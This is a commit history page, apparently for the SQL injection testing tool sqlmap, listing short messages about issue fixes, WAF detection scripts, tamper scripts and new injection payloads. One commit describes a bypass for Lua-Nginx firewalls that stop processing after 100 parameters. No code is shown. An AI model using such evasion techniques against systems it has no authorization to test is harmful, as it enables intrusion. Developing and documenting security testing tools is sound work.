Compare commits

...

462 Commits

Author SHA1 Message Date
Miroslav Stampar
66d26f67bf Manual tagging (automatic tagging failed for some reason) 2018-12-07 10:06:31 +01:00
Miroslav Stampar
101d1f0d49 Fixes #3395 2018-12-03 23:18:52 +01:00
Miroslav Stampar
843126702d Fixes #3392 2018-12-03 23:12:45 +01:00
Miroslav Stampar
65f227fe65 Bug fix (privately reported: --technique=E --where='id=1') 2018-12-03 23:07:13 +01:00
Miroslav Stampar
536d9a597e Minor language update 2018-12-03 22:59:46 +01:00
Miroslav Stampar
0ce2128a9b Fixes #3394 2018-12-03 22:40:44 +01:00
Miroslav Stampar
e7ed2bbcbb Fixes #3391) 2018-11-30 11:29:17 +01:00
Miroslav Stampar
560ff4154b Fixes #3388 (and refactors #1578) 2018-11-29 00:09:05 +01:00
Miroslav Stampar
1d0d5f1675 Fixes #3389 2018-11-28 23:09:13 +01:00
Miroslav Stampar
f1a3c81aec Bug fix for handling of custom headers 2018-11-28 00:29:17 +01:00
Miroslav Stampar
277a4fa402 Potential patch for #3167 2018-11-26 23:40:47 +01:00
Miroslav Stampar
037db0f4a0 Fixes #3381 2018-11-23 15:55:05 +01:00
Miroslav Stampar
3f1bf742fc Fixes #3379 2018-11-22 08:07:27 +01:00
Miroslav Stampar
abb911d741 Just for the sake of #3377 2018-11-19 09:53:09 +01:00
Miroslav Stampar
dc5edf1a86 Patch regarding #3377 2018-11-19 09:52:09 +01:00
Miroslav Stampar
e11febdcbc Fixes #3375 2018-11-19 09:44:13 +01:00
Miroslav Stampar
f2af8861f9 Some more updates regarding #3140 2018-11-15 17:13:13 +01:00
Miroslav Stampar
2895e5c20f Initial commit for #3140 2018-11-15 15:27:17 +01:00
Miroslav Stampar
b1e8c75672 Update README.md 2018-11-14 12:59:40 +01:00
Miroslav Stampar
6cc52cc12a Fixes #3366 2018-11-12 14:07:41 +01:00
Miroslav Stampar
ddf353b86e Fixes #3357 2018-11-04 14:36:38 +01:00
Miroslav Stampar
e6535d359d Update related to the #3358 2018-11-04 14:17:53 +01:00
Miroslav Stampar
90e381a5a5 Another update related to the #3356 2018-11-02 16:18:08 +01:00
Miroslav Stampar
e99e9919cd Update related to the #3356 2018-11-02 15:44:44 +01:00
Miroslav Stampar
dbdfbcc425 Adding dates to the start/end time 2018-11-01 22:59:20 +01:00
Miroslav Stampar
1d6832a84a Cosmetic update (not patch) related to the #3354 2018-11-01 22:41:33 +01:00
Miroslav Stampar
73d83280fe Minor patch (bounded injection case with leftover marker) 2018-11-01 22:24:36 +01:00
Miroslav Stampar
1bd8c519c3 Minor just in case update 2018-10-30 15:41:39 +01:00
Miroslav Stampar
a4fdbf1343 Patch related to the #3348 2018-10-30 11:13:09 +01:00
Miroslav Stampar
130879fbf3 Minor patches 2018-10-30 10:37:39 +01:00
Miroslav Stampar
db5ae9ae0b Minor update to #3326 (adding generic code >= 400) 2018-10-29 09:55:14 +01:00
Syed Afzal
cc4833429f added china cache (#3326) 2018-10-29 09:51:18 +01:00
Miroslav Stampar
703b7079a4 Fixes #3319 2018-10-27 14:30:28 +02:00
Miroslav Stampar
ef52ee977f Minor patch 2018-10-27 14:14:21 +02:00
Miroslav Stampar
ba1b4c50be Trivial cleanup 2018-10-26 23:40:08 +02:00
Miroslav Stampar
1e7dfe11b4 Fixes #3318 2018-10-26 23:38:37 +02:00
Miroslav Stampar
92febd22a8 Minor update 2018-10-26 23:01:19 +02:00
Miroslav Stampar
83081b5e14 Minor patch related to the #3316 2018-10-26 14:00:51 +02:00
Miroslav Stampar
f2035145fe Another update related to the #3316 2018-10-26 12:10:22 +02:00
Miroslav Stampar
48b407c0fa Updates regarding the #3316 2018-10-26 12:09:21 +02:00
Jennifer Torres
4466504f30 Lua-Nginx WAFs Bypass (#3316)
* Lua-Nginx WAFs Bypass

Lua-Nginx WAFs doesn't support processing for more than 100 parameters.
https://www.youtube.com/watch?v=JUvro7cqidY

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

* Update luanginxwafbypass.py

Update header.

* Update luanginxwafbypass.py
2018-10-26 12:04:37 +02:00
Miroslav Stampar
dc65afe65a Minor update related to the #3283 2018-10-24 16:33:23 +02:00
Miroslav Stampar
132e963b53 More general TypeMismatchException (for Hibernate too) 2018-10-24 15:12:13 +02:00
Miroslav Stampar
f52beff7c3 Minor patch to handle late ImportError reports 2018-10-22 11:21:30 +02:00
Miroslav Stampar
feb93dce44 Update related to the #3304 2018-10-17 12:24:52 +02:00
Miroslav Stampar
e52422900e Fixes #3303 2018-10-16 19:37:27 +02:00
Miroslav Stampar
c045afd842 Minor cleanup 2018-10-16 14:53:41 +02:00
Miroslav Stampar
0d2db32539 Finalizing #3283 2018-10-16 14:47:09 +02:00
Miroslav Stampar
77f4fd93e7 Minor leftover 2018-10-16 13:27:31 +02:00
Miroslav Stampar
68f5597b4a Some cleaning up for #3283 2018-10-16 13:26:55 +02:00
Miroslav Stampar
411f56e710 Initial implementation for #3283 2018-10-16 12:23:07 +02:00
Miroslav Stampar
fb95ab8c17 Initial commit for #3283 (fixing H2 misidentification with PgSQL and/or HSQLDB) 2018-10-16 08:02:38 +02:00
Miroslav Stampar
9f6e04b141 Minor update of help text 2018-10-15 02:15:05 +02:00
Miroslav Stampar
1f2bdf5a3d Trivial message update 2018-10-15 00:56:23 +02:00
Miroslav Stampar
465a1e1a86 Minor update 2018-10-15 00:53:26 +02:00
Miroslav Stampar
6af127cb64 Fixes #3286 2018-10-14 22:17:10 +02:00
Miroslav Stampar
880d438418 Fixes #3284 2018-10-12 00:29:43 +02:00
Miroslav Stampar
5efe3228f8 Patch related to the #3282 2018-10-12 00:16:42 +02:00
Miroslav Stampar
e005ba3f77 Minor patch 2018-10-11 23:59:09 +02:00
Miroslav Stampar
f2b4dc3ffc Fixes #3275 2018-10-08 23:34:55 +02:00
Miroslav Stampar
d1022f3f59 Fixes #3246 2018-10-04 13:51:41 +02:00
Miroslav Stampar
3984b94297 Fixes #3271 2018-10-04 13:42:13 +02:00
Miroslav Stampar
eba01ee74e Just in case patch (for --api) 2018-10-03 12:46:40 +02:00
Miroslav Stampar
36b660309b Minor patch 2018-10-03 12:28:55 +02:00
Miroslav Stampar
fd89fdf40b Minor cleaning up 2018-10-03 11:27:51 +02:00
Miroslav Stampar
2e53096962 Fixes #3268 2018-10-03 11:02:13 +02:00
Miroslav Stampar
79e45bd8d7 Minor update 2018-10-02 15:10:31 +02:00
Miroslav Stampar
ed5f4abebd Minor updates 2018-10-02 14:56:20 +02:00
Miroslav Stampar
03bbfdbc56 Can't work out of the box (too many unknowns) 2018-10-02 14:11:26 +02:00
Miroslav Stampar
1b6365b195 Minor cleanup 2018-10-02 14:07:14 +02:00
Miroslav Stampar
d38a0542d8 Minor update 2018-10-02 13:48:39 +02:00
Miroslav Stampar
9182b90b2b Removing an obsolete utility 2018-10-02 12:58:25 +02:00
Miroslav Stampar
80af22435a Update README.md 2018-10-02 12:21:29 +02:00
Miroslav Stampar
065c5e8157 Fixes #3264 2018-09-29 23:10:03 +02:00
Miroslav Stampar
932aa8dd94 Fixes #3262 2018-09-28 13:12:21 +02:00
Miroslav Stampar
71208e891c Update regarding #3258 2018-09-27 09:15:53 +02:00
Miroslav Stampar
3b369920a1 Minor patch related to the #3257 2018-09-26 15:33:34 +02:00
Miroslav Stampar
68a83098ab Update of THANKS (based on 2017 donation) 2018-09-25 14:06:32 +02:00
Miroslav Stampar
f4a0820dcb Merging of tamper script arguments (e.g. --tamper A --tamper B -> --tamper=A,B) 2018-09-24 14:00:58 +02:00
Miroslav Stampar
459e1dd9a4 Update related to the #3252 2018-09-24 10:26:27 +02:00
Miroslav Stampar
4b698748f7 Fixes #3247 2018-09-21 23:25:25 +02:00
Miroslav Stampar
e697354765 Fixing non-resumal of MsSQL/Sybase/MaxDB enumeration queries 2018-09-21 23:06:45 +02:00
Miroslav Stampar
721046831b Minor patch 2018-09-21 22:15:29 +02:00
Miroslav Stampar
a4068f9abf Minor update 2018-09-20 16:52:02 +02:00
Miroslav Stampar
245c5e64e9 Minor cleanup 2018-09-19 11:13:59 +02:00
Miroslav Stampar
cd08d13647 Adding a generic parameter replace payload 2018-09-19 11:05:55 +02:00
Miroslav Stampar
8abae02111 Improvement of anti-CSRF token extraction 2018-09-18 22:05:52 +02:00
Miroslav Stampar
dd9bfd13f2 Trivial update 2018-09-18 17:03:27 +02:00
Miroslav Stampar
0c7eecee9f Trivial update (message language) 2018-09-18 16:52:17 +02:00
Miroslav Stampar
3e72da66f9 Minor update (preventing WAF specific response reports on generic 403) 2018-09-18 16:45:08 +02:00
Miroslav Stampar
ca9a56c0ff Minor update of WebKnight WAF script 2018-09-15 23:27:24 +02:00
Miroslav Stampar
2d2b20344d Minor patch for bigip WAF script 2018-09-15 23:17:32 +02:00
Miroslav Stampar
a8a7dee800 Fixes #3239 2018-09-15 21:36:21 +02:00
Miroslav Stampar
35d9ed8476 Cleaning a mess with stacked queries and pre-WHERE boundaries 2018-09-14 10:30:58 +02:00
Miroslav Stampar
a5e3dce26f Proper naming 2018-09-14 10:01:31 +02:00
Miroslav Stampar
71448b1c16 Minor refactoring 2018-09-14 09:45:04 +02:00
Miroslav Stampar
a633bc7f32 Trivial cleanup 2018-09-13 11:41:19 +02:00
Miroslav Stampar
6697e49f75 Adding aesecure and crawlprotect WAF scripts 2018-09-13 11:09:32 +02:00
xxbing
db8bcd1d2e update xforwarder tamper (#3236) 2018-09-13 10:50:58 +02:00
Miroslav Stampar
16c052ef13 Fixes #3234 (user entered input) 2018-09-12 14:39:07 +02:00
Miroslav Stampar
a8c0722631 Minor update regarding #3230 2018-09-10 12:43:59 +02:00
Miroslav Stampar
c9a73aeed1 Minor patch for #3226 2018-09-10 11:51:00 +02:00
Miroslav Stampar
470b68a83c Implementation for Issue #3226 2018-09-10 11:47:19 +02:00
Miroslav Stampar
f01ae291f8 Update related to the #3231 2018-09-10 10:27:28 +02:00
Ehsan Nezami
c36749c3bb add u_pass to columns (#3231) 2018-09-10 10:26:28 +02:00
Miroslav Stampar
63b84c31e5 Update regarding the #3229 2018-09-08 23:36:08 +02:00
Miroslav Stampar
ec253dd5bd Support for table name retrieval from mysql.innodb_table_stats (fallback if primary fails) 2018-09-07 11:53:43 +02:00
Miroslav Stampar
4c25a20efc Docstring update and smalldict update (merge with top1575) 2018-09-07 11:23:47 +02:00
Miroslav Stampar
2b56bdfaa6 Patch for MsSQL column name injection 2018-09-06 13:59:07 +02:00
Miroslav Stampar
c37014b8e8 Implementation for an Issue #647 2018-09-06 00:59:29 +02:00
Miroslav Stampar
349e9b9fa5 Minor commit related to the #120 2018-09-06 00:16:59 +02:00
Miroslav Stampar
ac481492c0 Final commit for #120 2018-09-05 23:29:52 +02:00
Miroslav Stampar
91c5151770 Another update related to the #120 2018-09-05 00:56:39 +02:00
Miroslav Stampar
ad5a731999 First commit for Issue #120 2018-09-05 00:16:35 +02:00
Miroslav Stampar
95be19a692 Minor update 2018-09-05 00:15:15 +02:00
Miroslav Stampar
dbcf030743 Accepting even dummy (e.g.) 'y' for --answers 2018-09-04 23:30:58 +02:00
Miroslav Stampar
fa3f3baf1e Minor update 2018-09-04 23:24:40 +02:00
Miroslav Stampar
f125f64a80 Minor style update (marker for empty cracked password) 2018-09-04 23:14:25 +02:00
Miroslav Stampar
12012b36b1 Automatic disabling of socket-preconnect for known problematic server (SimpleHTTPServer) 2018-09-04 23:01:17 +02:00
Miroslav Stampar
43c9e21c56 Performance improvement and reducing number of false-positives in heavily dynamic pages 2018-09-04 22:39:07 +02:00
Miroslav Stampar
a831865633 Further narrowing down cloudfront WAF script (less FP on detection) 2018-08-30 17:44:37 +02:00
Miroslav Stampar
578c41f6de Fine tuning Incapsula WAF script 2018-08-30 16:49:06 +02:00
Miroslav Stampar
dc01f2e773 Fine tuning of Cloudfrount WAF script (less FP) 2018-08-30 16:42:35 +02:00
Miroslav Stampar
db327a8538 Minor update of WAF scripts 2018-08-30 16:19:31 +02:00
Miroslav Stampar
aefb815064 Cutting down FP on Varnish WAF (ignoring Varnish Cache) 2018-08-30 16:02:27 +02:00
Miroslav Stampar
014978cebc Fine tuning Cloudflare WAF script 2018-08-30 16:00:40 +02:00
Miroslav Stampar
287371337d Update of ZENEDGE WAF script 2018-08-30 15:56:13 +02:00
Miroslav Stampar
62a3618353 Minor patches 2018-08-30 15:50:17 +02:00
Miroslav Stampar
366a3f9336 Detect redirect from stdout 2018-08-30 15:21:46 +02:00
Miroslav Stampar
74d2b60cf3 Minor colorization of WAF Detectify 2018-08-30 15:18:42 +02:00
Miroslav Stampar
9e892e93f3 Created a WAF Detectify utility 2018-08-30 14:54:15 +02:00
Miroslav Stampar
0bbf5f9467 Update of dotDefender WAF script 2018-08-29 12:21:33 +02:00
Miroslav Stampar
8be4b29fd1 Update of Incapsula WAF script 2018-08-29 12:13:22 +02:00
Miroslav Stampar
0507234add Minor update 2018-08-29 11:06:45 +02:00
Miroslav Stampar
c3d9a1c2d4 Airlock also uses AL_SESS-S cookie 2018-08-29 10:56:24 +02:00
Miroslav Stampar
9e8b28be7c Minor patch (e.g. case: user's) 2018-08-28 14:33:48 +02:00
Miroslav Stampar
f3f4a4cb37 Minor refactoring 2018-08-28 14:31:20 +02:00
Miroslav Stampar
2280f3ff2d Updating old links 2018-08-28 14:13:48 +02:00
Miroslav Stampar
d6cf038e48 Fixes #3216 2018-08-25 22:57:49 +02:00
Miroslav Stampar
2dfc383700 Fixes #3215 2018-08-22 17:58:00 +02:00
Miroslav Stampar
f20e7b403a Fixes #3211 2018-08-22 10:41:43 +02:00
Miroslav Stampar
36e62fe8a7 Minor update 2018-08-22 10:20:26 +02:00
Miroslav Stampar
2542b6d241 Minor patch (https version of site is not available) 2018-08-20 19:44:25 +02:00
Miroslav Stampar
bc13d8923b Adding long_description to PyPI upload script 2018-08-20 19:43:27 +02:00
Miroslav Stampar
e51db6b355 Update README.md 2018-08-20 19:33:19 +02:00
Miroslav Stampar
6d28ca1f93 Bug fix (single-quoted strings in long results caused line breaks) 2018-08-18 00:02:39 +02:00
Miroslav Stampar
03e4741a69 Trivial patch (display of used user queries) 2018-08-17 19:45:34 +02:00
Miroslav Stampar
b899ab9eb3 Bug fix (sha-256,sha384... were recognized, though, not cracked) 2018-08-13 15:27:08 +02:00
Miroslav Stampar
2e017eee99 Fixes #3203 2018-08-10 14:16:27 +02:00
Miroslav Stampar
a296d22195 Fixes #3205 2018-08-10 14:01:55 +02:00
Miroslav Stampar
ad11749b15 One more payload (requires usage of --code or similar) 2018-08-09 16:21:35 +02:00
Miroslav Stampar
75a64245c5 Minor patch for colorization (multiple quoted strings in same line) 2018-08-09 16:21:04 +02:00
Miroslav Stampar
9e00202823 Minor patch (use redirection code for comparison) 2018-08-09 15:39:37 +02:00
Miroslav Stampar
df977d93d4 Fixes #3204 2018-08-09 15:08:21 +02:00
Miroslav Stampar
b0ca52086a Fixes #3202 2018-08-07 23:35:58 +02:00
Miroslav Stampar
af89137f2c Update of WAF scripts 2018-08-05 14:19:27 +02:00
Miroslav Stampar
1f9bf587b5 Implementation for an Issue #3108 2018-07-31 02:18:33 +02:00
Miroslav Stampar
f0e4c20004 First commit related to the #3108 2018-07-31 01:17:11 +02:00
Miroslav Stampar
cef416559a Minor update 2018-07-31 00:20:52 +02:00
Miroslav Stampar
ce47b6c76e Minor patch 2018-07-27 01:39:04 +02:00
Miroslav Stampar
39108bc100 Trivial refactoring of unused variables 2018-07-27 00:59:24 +02:00
Miroslav Stampar
f63ceaa0c1 Minor refactoring 2018-07-27 00:53:14 +02:00
Miroslav Stampar
1e60378fb2 Minor refactoring 2018-07-27 00:30:30 +02:00
Miroslav Stampar
22c7bc54b4 Minor patch 2018-07-27 00:01:23 +02:00
Miroslav Stampar
5f1bae86b0 Fixes #3194 2018-07-19 18:00:56 +02:00
Miroslav Stampar
a0cbf6991d Minor style update 2018-07-18 17:00:34 +02:00
Miroslav Stampar
9f2bc00426 Minor patch 2018-07-18 16:30:59 +02:00
Miroslav Stampar
6bb486c1bf Potential patch for #3192 2018-07-18 15:34:38 +02:00
Miroslav Stampar
741ce9e3f0 Trivial update (just to reset checksums) 2018-07-15 16:08:01 +02:00
Anastasios Stasinopoulos
a479655097 Minor patch (--purge instead of --purge-output) (#3188) 2018-07-15 11:28:34 +02:00
Miroslav Stampar
4846d85ccd Pre-fetching latest revision number in case of update 2018-07-11 19:30:14 +02:00
Miroslav Stampar
3c439c3929 Known cause of majority of false-positives (Issue #3176) 2018-07-11 16:12:57 +02:00
Miroslav Stampar
5cc36a5736 Revert of last commit (Fixes #3179) 2018-07-10 15:54:06 +02:00
Miroslav Stampar
29dcdd3bef Potential patch for #3178 2018-07-10 15:35:07 +02:00
Miroslav Stampar
53eadb0af8 Fixes #3173 2018-07-09 12:22:51 +02:00
Miroslav Stampar
7b705b94e3 Fixes #3171 2018-07-09 12:20:18 +02:00
Miroslav Stampar
558484644a Minor refactoring 2018-07-06 16:22:19 +02:00
Miroslav Stampar
e84142b6a9 Fixes #3172 2018-07-06 16:18:04 +02:00
Miroslav Stampar
b44551230e Fixes #3165 2018-07-05 15:13:51 +02:00
Miroslav Stampar
4ecf6eee05 Minor style update 2018-07-05 14:21:32 +02:00
Miroslav Stampar
57be1856a6 Where things could go kaboom (changing terminal coloring) 2018-07-05 14:01:43 +02:00
Miroslav Stampar
a424e4ab59 Fixes #3168 2018-07-02 13:09:25 +02:00
Miroslav Stampar
4660b816d5 Minor patch (fallback for masking of sensitive data) 2018-07-02 11:54:12 +02:00
Miroslav Stampar
f92e1ebc40 Another trivial style update 2018-07-02 11:47:47 +02:00
Miroslav Stampar
48cd0421a6 Trivial style update 2018-07-02 11:41:36 +02:00
Miroslav Stampar
4b4f728d8e Updated MySQL active fingerprint payloads 2018-07-02 10:58:25 +02:00
Miroslav Stampar
e8336ecfe1 Fix of a pesky often 'statistical model' retrieval 2018-06-29 23:57:20 +02:00
Miroslav Stampar
38ea0686a8 Minor patch (Issue #3149) 2018-06-29 22:48:43 +02:00
Miroslav Stampar
73b0de67b5 Fixes #3149 2018-06-29 22:37:57 +02:00
Miroslav Stampar
fae97b3937 Another patch for #3164 2018-06-29 16:34:16 +02:00
Miroslav Stampar
c0947846f4 Patch for #3164 2018-06-29 16:33:17 +02:00
Miroslav Stampar
5e2d0bd320 Minor patches (--purge instead of --purge-output) 2018-06-20 23:52:08 +02:00
Miroslav Stampar
4badb54607 Couple of small patches 2018-06-20 23:21:55 +02:00
Miroslav Stampar
29aaec8925 First part of checksum cleanup 2018-06-20 23:09:23 +02:00
Miroslav Stampar
27ff5d6fec Implementation of #3156 2018-06-20 23:04:58 +02:00
Miroslav Stampar
72ff6e24ff Minor wording update 2018-06-20 17:15:35 +02:00
Miroslav Stampar
717c451b8c Trivial style update 2018-06-20 15:21:42 +02:00
Miroslav Stampar
e5968cae31 Fixes --profile 2018-06-20 13:51:03 +02:00
Miroslav Stampar
2b55ae3e2a Minor just in case update 2018-06-20 13:06:56 +02:00
Miroslav Stampar
8f4488d608 Minor patches related to the #739 2018-06-20 00:08:55 +02:00
Miroslav Stampar
f1254fef4b Finalizes implementation for #739 2018-06-19 16:39:10 +02:00
Miroslav Stampar
ccda26a567 Minor commit regarding #739 2018-06-19 16:23:17 +02:00
Miroslav Stampar
099110bc1f Minor commit regarding #739 2018-06-19 16:14:44 +02:00
Miroslav Stampar
0265b3fcfa Second commit regarding #739 2018-06-19 16:11:49 +02:00
Miroslav Stampar
961d2b24d1 First commit regarding #739 2018-06-19 16:08:38 +02:00
Miroslav Stampar
53578bcb7c Generic patch related to the #3153 2018-06-19 14:56:39 +02:00
Miroslav Stampar
756f02fb0e Fixes #3150 2018-06-15 14:22:24 +02:00
Miroslav Stampar
17c170e1f8 Fixes #3148 2018-06-13 23:51:09 +02:00
Miroslav Stampar
220c1be162 Fixes #3144 2018-06-12 23:02:38 +02:00
Miroslav Stampar
6b06332896 Fixes #3145 2018-06-12 22:45:16 +02:00
Miroslav Stampar
c268663bd9 Minor code style updates 2018-06-09 23:38:00 +02:00
Miroslav Stampar
a97fd1dede Fixes #3142 2018-06-09 22:59:08 +02:00
Miroslav Stampar
b93284530e Patch related to the #3139 2018-06-08 15:13:50 +02:00
Miroslav Stampar
cf4c263a4e Minor patch 2018-06-08 14:45:15 +02:00
Miroslav Stampar
23777143b6 Update related to the #3137 2018-06-07 10:07:12 +02:00
Miroslav Stampar
9b397f00be Minor refactoring 2018-06-07 01:28:02 +02:00
Miroslav Stampar
d47c16e196 Minor refactoring 2018-06-07 00:55:32 +02:00
Miroslav Stampar
e0c7b5c63c Minor wording update 2018-06-07 00:46:54 +02:00
Miroslav Stampar
091c8ab2dd Minor update (switching --invalid-logical to LIKE version) 2018-06-07 00:37:22 +02:00
Miroslav Stampar
86303bde55 Trivial update (wording) 2018-06-07 00:24:29 +02:00
Miroslav Stampar
c89f119e1a Minor update 2018-06-05 01:12:50 +02:00
Miroslav Stampar
25369ca591 Adding new payload (HAVING boolean-based blind) 2018-06-05 00:59:47 +02:00
Miroslav Stampar
a399b65033 Trivial update 2018-06-05 00:20:37 +02:00
Miroslav Stampar
ed37ae1562 Adding new WAF script (Cloudbric) 2018-06-05 00:05:17 +02:00
Miroslav Stampar
5381d4d5be Minor update 2018-06-04 23:33:07 +02:00
Miroslav Stampar
c1825b2651 Patch for #3130 2018-06-01 11:23:41 +02:00
Miroslav Stampar
e7d448c56c Minor update regarding #3129 2018-06-01 10:21:59 +02:00
Miroslav Stampar
694b5bb5c0 New tamper script (per user request) 2018-05-30 15:48:16 +02:00
Miroslav Stampar
eb498e6c03 Fixes #2819 2018-05-29 14:54:43 +02:00
Miroslav Stampar
ca8b589d43 Fixes #3122 (by reverting 6c4e9ae427) 2018-05-29 14:26:31 +02:00
Miroslav Stampar
18706f7fad Minor patch for unhandled exception reports 2018-05-28 11:29:06 +02:00
Miroslav Stampar
80f3b9a711 Minor worflow change in case of unhandled exceptions (disregard --batch) 2018-05-28 11:10:42 +02:00
Miroslav Stampar
6b3f01bfeb Minor patch 2018-05-28 11:07:06 +02:00
Miroslav Stampar
42042fb5de Removing encoding report part (enough time has been passed to collect major problems) 2018-05-24 10:41:20 +02:00
Miroslav Stampar
2abc7fc588 Update related to the #3116 (consistency patch) 2018-05-24 10:13:13 +02:00
German
1ecc326714 Russian localization readme (#3116)
* add russian doc readme

* add link head readme
2018-05-24 10:11:09 +02:00
Miroslav Stampar
d2d829abf5 Patch related to the #3117 2018-05-24 10:07:35 +02:00
Miroslav Stampar
43d9ac2bd4 Patch related to the #3101 2018-05-21 23:44:21 +02:00
Miroslav Stampar
d8196cf7e6 Fixes #3110 2018-05-21 23:17:32 +02:00
Miroslav Stampar
42b0edca6d Fixes #3109 2018-05-19 12:35:39 +02:00
Miroslav Stampar
331ccc5549 Fixes #3100 2018-05-17 23:07:52 +02:00
Miroslav Stampar
d5627fdf1b Fixes #3099 2018-05-15 12:15:47 +02:00
Miroslav Stampar
7b3a17bfe7 Patch for #3068 2018-05-09 13:38:39 +02:00
Miroslav Stampar
4a8f01c9dc Minor updates 2018-05-08 14:06:34 +02:00
Miroslav Stampar
13bf3e649a Trivial refactoring 2018-05-08 12:09:24 +02:00
Miroslav Stampar
9a63fb1055 Trivial refactoring 2018-05-08 11:59:56 +02:00
Miroslav Stampar
3544793961 Fixes #3088 2018-05-07 10:48:35 +02:00
Miroslav Stampar
7a8add0412 Update regarding #3068 2018-05-05 14:49:35 +02:00
Miroslav Stampar
1d382bcb4d Fixes #3086 2018-05-05 14:33:00 +02:00
Miroslav Stampar
ec6ad3ce68 Bug fix (non-digit --union-char has not been working properly) 2018-05-05 14:22:06 +02:00
Miroslav Stampar
73d8952f2a Potential patch for #3084 2018-05-04 16:29:36 +02:00
Miroslav Stampar
2a810fb796 Trivial modifications (thou shalt not judge people by trivial commits) 2018-05-03 14:10:55 +02:00
Miroslav Stampar
8f7a7bed20 Minor patch 2018-05-03 13:31:27 +02:00
Miroslav Stampar
36b0ece2ad Minor message update 2018-04-30 11:02:01 +02:00
Miroslav Stampar
7d8fbab035 Fixes #3069 2018-04-26 18:56:17 +02:00
Miroslav Stampar
5580db0045 Fixes #3067 2018-04-24 19:52:12 +02:00
Miroslav Stampar
3fde205cd4 Generic patch for #2886 (cause still unknown) 2018-04-24 19:45:53 +02:00
Miroslav Stampar
1822cc05f6 Patch for #3060 2018-04-22 01:12:56 +02:00
Miroslav Stampar
509bb41b06 Adding (hidden) switch '--force-pivoting' (Issue #3032) 2018-04-17 17:08:57 +02:00
Miroslav Stampar
8ca3287df4 Proper way to skip already used payloads (important to --suffix/--prefix cases) 2018-04-12 14:38:32 +02:00
Miroslav Stampar
60767de2eb Patching issue that got into with patch for #2934 (ORDER BY was unusable in majority of regular cases) 2018-04-12 12:25:37 +02:00
Miroslav Stampar
29e683fb5b Skip prepending CR to readInput messages if in non-TTY mode (ugly looking in Linux text editors) 2018-04-12 11:33:23 +02:00
Miroslav Stampar
148d1c9ff9 Fixes #3037 2018-04-11 15:19:44 +02:00
Miroslav Stampar
a8cb14ed4a Minor patch (disable tamper script usage in WAF/IDS/IPS check phase) 2018-04-11 14:48:54 +02:00
Miroslav Stampar
c634f0b0d6 Patch related to the #3041 2018-04-11 13:14:09 +02:00
Miroslav Stampar
8605c49911 Update related to the #3039 2018-04-11 13:06:47 +02:00
Miroslav Stampar
44f6951dfe Update of xml/banner files 2018-04-10 11:35:39 +02:00
Miroslav Stampar
b5b32c951c Minor update 2018-04-10 11:03:08 +02:00
Miroslav Stampar
a9c3b59cff Update related to the #2999 2018-04-09 12:14:46 +02:00
Miroslav Stampar
4528cb014d Minor just in case patch 2018-04-09 12:05:08 +02:00
Miroslav Stampar
2c5f976993 Fixes #3035 2018-04-09 11:34:50 +02:00
Miroslav Stampar
4f2669a45a Fixes #3030 2018-04-06 01:13:04 +02:00
Miroslav Stampar
641838ed73 Minor update 2018-04-06 01:06:58 +02:00
Miroslav Stampar
2a681b7bd6 Fixes #3027 2018-04-05 12:25:41 +02:00
Miroslav Stampar
7f3f1dcdee Fixes #3022 2018-04-03 12:50:09 +02:00
Miroslav Stampar
4147f44e63 Potential patch for Issues like #3013 and #3017 2018-04-01 12:45:47 +02:00
Miroslav Stampar
2cc6214227 Fixes #3020 2018-04-01 11:25:51 +02:00
Miroslav Stampar
8a90512354 One more commit related to the last one (reduce false hopes in heavily dynamic cases) 2018-03-31 11:02:48 +02:00
Miroslav Stampar
ae8699f258 Reducing false-positive 'appears' messages in heavily dynamic environment 2018-03-29 14:47:30 +02:00
Miroslav Stampar
cdb1e79370 Disabling ORDER BY tests in heavily dynamic environment 2018-03-29 14:37:33 +02:00
Miroslav Stampar
f0677d88b7 Trivial update 2018-03-29 14:22:46 +02:00
Miroslav Stampar
16cd13d7db Fixes #3014 2018-03-28 17:24:12 +02:00
Miroslav Stampar
c7329cb03b Probable patch for #3013 and similar Issues 2018-03-28 15:23:14 +02:00
Miroslav Stampar
45fb5ab4a5 Patch for cases when http: is immediatelly being redirected to https: 2018-03-28 15:13:33 +02:00
Miroslav Stampar
241f7321de Proper patch related to the #3009 2018-03-26 15:39:48 +02:00
Miroslav Stampar
c6c1ac02bb Patch related to the #3009 2018-03-26 15:07:43 +02:00
Miroslav Stampar
f287ff3767 Trivial comment update 2018-03-21 14:29:54 +01:00
Miroslav Stampar
7d5a0ed2dc Use false-positive checks in dummy mode 2018-03-21 14:22:59 +01:00
Miroslav Stampar
4fc7fc6447 Patch for an Issue #2943 2018-03-20 11:32:31 +01:00
Miroslav Stampar
880d709bfd Removing checkIntegrity() from smokeTest() (primarly used before commiting) 2018-03-20 10:32:47 +01:00
Miroslav Stampar
0ddc7bae66 Fixes #2997 2018-03-20 10:31:31 +01:00
Miroslav Stampar
305b2aa9b5 Minor update for smoke test 2018-03-19 01:02:28 +01:00
Miroslav Stampar
e63b97afd6 Refactoring #2992 2018-03-19 00:53:16 +01:00
Arjun V
c378b6691c Adding sample schemas shipped with Oracle DB (#2992)
* Adding sample schemas shipped with Oracle DB

Added sample schemas that are included with the Oracle Guides. They are unbelievably common in live systems from personal experience.

https://docs.oracle.com/cd/E11882_01/server.112/e10575/tdpsg_user_accounts.htm#TDPSG20303

* Adding  as an oracle system database for exclusion

`APPQOSSYS` schema is used by Oracle Database QoS Management

https://docs.oracle.com/cd/E11882_01/server.112/e24611/install_config.htm
2018-03-19 00:51:00 +01:00
Miroslav Stampar
ee431cd83b Minor update 2018-03-19 00:39:48 +01:00
Miroslav Stampar
e088fe08ec Update related to the #2995 2018-03-19 00:33:30 +01:00
Miroslav Stampar
74de40b9c5 Minor patch of a previous commit 2018-03-16 15:21:19 +01:00
Miroslav Stampar
6c2b7cff80 Minor patch of UNION checking logic 2018-03-16 15:11:04 +01:00
Miroslav Stampar
a6809e03ef Minor just in case patch 2018-03-16 14:38:47 +01:00
Miroslav Stampar
ac68eed65d Trivial code style update 2018-03-16 14:33:22 +01:00
Miroslav Stampar
a27f21cb1d Trivial message updates 2018-03-16 14:30:47 +01:00
Miroslav Stampar
01fb07f68c Minor patch (message for --check-internet) 2018-03-16 14:28:37 +01:00
Miroslav Stampar
d7f2445814 Minor patch of error message parsing regex 2018-03-16 14:25:27 +01:00
Miroslav Stampar
6875c40a06 Minor update of permission problems detection 2018-03-16 14:20:43 +01:00
Miroslav Stampar
4cd859012a Switching zipball update method to experimental 2018-03-15 11:07:14 +01:00
Miroslav Stampar
5feb4c3ccd Updated --update mechanism (fetching and extraction of zipball) 2018-03-14 13:36:10 +01:00
Miroslav Stampar
3c5e9e7559 Fixes #2982 2018-03-14 01:02:26 +01:00
Miroslav Stampar
